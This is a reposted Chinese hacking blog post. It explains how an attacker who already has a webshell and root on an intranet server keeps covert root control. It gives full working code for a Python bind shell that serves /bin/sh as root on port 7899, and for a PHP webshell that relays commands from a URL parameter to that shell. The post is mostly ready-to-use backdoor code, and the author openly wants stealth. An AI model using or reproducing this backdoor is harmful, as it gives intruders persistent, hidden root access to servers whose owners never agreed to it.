转自:http://www.hackblog.cn/post/77.html
这个想法来源于一次攻击尝试,拿到webshell之后发现服务器在内网,而且权限并不是root,通过python的ttyshell反弹回来进行提权获取了root权限,不过为了更加隐蔽而且最重要的是不麻烦的 享受root权限,不得不利用web进行控制,如何让web也能够是root权限呢?用root重新启动一次apache?那岂不方便了后来的人。于是就 想到用python以root权限运行,然后监听本地端口,留个php后门,需要的时候就连接这个端口发命令过去,python接到后把结果返回去。。。 真是猥琐。
python代码(py改编于http://www.leavesongs.com/PYTHON/python-shell-backdoor.html,自己加了循环可以无限次利用)
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',7899)) server.listen(5) while True: talk, addr = server.accept() proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
php代码:
<?php $service_port = 7899; $address = '127.0.0.1'; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>2, "usec"=>0 ) ); socket_set_option($socket,SOL_SOCKET,SO_SNDTIMEO,array("sec"=>3, "usec"=>0 ) ); //此处为了防止socket_read阻塞超时,具体超时时间视情况 if ($socket < 0) { echo "socket create error: " . socket_strerror($socket) . "\n"; exit(); } $result = socket_connect($socket, $address, $service_port); if ($result < 0) { echo "SOCKET connnect error: ($result) " . socket_strerror($result) . "\n"; exit(); } $in = $_GET['cmd']."\n"; socket_write($socket, $in, strlen($in)); while($out = socket_read($socket, 2048)){ echo $out; if(substr($out, -1) == "\n"){ //因为socket_read函数太烦人,没内容会阻塞,干脆就判断上一次结果结尾是不是换行,当然结果取了2048恰好是换行而且还没取完。。。你就中奖了。 break; } } socket_close($socket); ?>